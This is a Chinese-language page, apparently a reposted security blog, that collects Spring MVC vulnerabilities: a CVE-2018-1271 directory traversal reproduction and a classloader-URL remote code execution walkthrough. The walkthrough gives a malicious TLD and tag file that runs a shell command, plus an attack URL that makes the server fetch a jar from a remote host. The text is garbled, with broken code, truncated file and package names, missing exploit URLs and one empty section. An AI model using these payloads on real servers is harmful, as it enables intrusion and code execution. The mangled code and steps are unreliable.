SpringMVC漏洞合集
Spring MVC ⽬录穿越漏洞(CVE-2018-1271)
漏洞简介
2018年04⽉05⽇,Pivotal公布了Spring MVC存在⼀个⽬录穿越漏洞(CVE-2018-1271)。Spring Framework版本5.0到5.0.4,4.3到4.3.14以及较旧的不受⽀持的版本允许应⽤程序配置Spring MVC以提供静态资源(例如CSS,JS,图像)。当Spring MVC的静态资源存放在Windows系统上时,攻击可以通过构造特殊URL导致⽬录遍历漏洞。springmvc常用标签
漏洞影响
Spring Framework 5.0 to 5.0.4.
Spring Framework 4.3 to 4.3.14
已不⽀持的旧版本仍然受影响
漏洞利⽤条件
Server运⾏于Windows系统上
要使⽤file协议打开资源⽂件⽬录
漏洞复现
复现环境
操作系统Windows
中间件jetty
环境搭建
1.下载 spring-mvc-showcase
修改l,使⽤Spring Framework 5.0.0。
.
修改 Spring MVC 静态资源配置,可参考官⽅⽂档
通过官⽅⽂档可知有两种⽅式配置,可⾃⾏选择配置。此处通过重写WebMvcConfigurer中的addResourceHandlers⽅法来添加新的资源⽂件路径。在org.springframework.fig.WebMvcConfig添加以下代码即可,使⽤file://协议指定resources为静态⽂件⽬录。
registry.addResourceHandler("/resources/**").addResourceLocations("file:./src/main/resources/","/resources/");
3.使⽤ jetty 启动项⽬
mvn jetty:run
⾄此复现环境搭建完毕。
复现过程及结果
访问以下链接
可以看到成功读取到win.ini的内容了。
Spring mvc数组只读权限绕过漏洞
Spring mvc远程代码执⾏漏洞
现在再来看看怎么才能远程代码执⾏,每次想到这⾥,都会想到这个⽼外太有才了。
getURLs⽅法,其实⽤的地⽅真的不多,只有在TldLocationsCache类,对页⾯的tld标签库处理时,才会从这⼀堆URL中获取tld⽂件。它的原理是从URL中指定的⽬录,去获取tld⽂件,允许从⽹络中获取tld⽂件。当⼀个tld放在jar中时,可以通过
jar:inbreak/kxlzx.jar!/
这个URL,会下载到tomcat服务器⼀个jar⽂件,然后从jar⽂件中,寻tld⽂件,并且根据tld⽂件,做spring mvc标签库的进⼀步解析。Tld⽂件⾃⼰有个标准(详见jsp标签库),在解析的时候,是允许直接使⽤jsp语法的,所以这就出现了远程代码执⾏的最终效果。
这是spring-form.tld原本的部分内容⽰例
Form标签⾥⾯有个input的标签,会根据开发⼈员的定义,给这些参数默认赋值,前⾯说到它是⽀持jsp语法的,所以拿spring原本
的/META-INF/spring-form.tld⽂件,替换其中内容,可以把这个tld的原本input tag的内容替换为:
<!-- <form:input/> tag -->
<tag-file>
<name>input</name>
<path>/META-INF/tags/InputTag.tag</path>
</tag-file>
这样指定让⼀个tag⽂件解析。
还缺⼀个/META-INF/tags/InputTag.tag
<%@ tag dynamic-attributes="dynattrs" %>
<%
j java.Runtime().exec("mkdir /tmp/PWNED");
%>
做出这样的替换后,当开发者在controller中将任何⼀个对象绑定表单,并且最终展⽰的jsp内容有下⾯这些:
<%@ taglib prefix="form" uri="/tags/form"%>
<form:form commandName="user">
<form:input path="name"/>
</form:form>
攻击者访问url:
inbreak/springmvc/testjsp.htm? class.classLoader.URLs[0]=jar:inbreak/spring-exploit.jar!/
即可触发远程代码执⾏的效果,漏洞发布者写的POC真的很囧。原本页⾯会显⽰⼀个⽂本框才对,现在变成了⼀个空⽩,并且后台执⾏命令mkdir /tmp/PWNED
注意,是所有的页⾯,凡是有input的地⽅,都会变成空⽩,这个标签直接被替换掉。
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论